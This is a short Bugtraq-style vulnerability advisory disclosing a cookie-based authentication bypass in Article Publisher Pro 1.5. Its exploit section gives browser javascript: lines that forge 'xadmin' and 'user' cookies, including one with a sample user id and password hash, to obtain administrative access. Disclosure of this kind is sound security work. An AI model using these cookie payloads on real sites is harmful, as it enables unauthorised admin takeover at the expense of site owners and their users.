Article Publisher PRO Cookie Authentication Bypass Vulnerability

Bugtraq ID:	32059
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 01 2008 12:00AM
Updated:	Nov 06 2008 01:55AM
Credit:	ZoRLu
Vulnerable:	scriptsfrenzy.com Article Publisher Pro 1.5
Not Vulnerable:

Article Publisher PRO Cookie Authentication Bypass Vulnerability

Article Publisher PRO is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access, which may aid in further attacks.

Article Publisher PRO 1.5 is vulnerable; other versions may also be affected.

Article Publisher PRO Cookie Authentication Bypass Vulnerability

Attackers may exploit this issue through a browser.

The following example code is available:

javascript:document.cookie = "xadmin=user_id,passwd_md5; path=/";
javascript:document.cookie = "user=user_id,passwd_md5; path=/";

javascript:document.cookie = "xadmin=1%2Cfe01ce2a7fbac8fafaed7c982a04e229; path=/";

Article Publisher PRO Cookie Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Article Publisher PRO Cookie Authentication Bypass Vulnerability

References:

• Article Publisher Pro Homepage (scriptsfrenzy.com)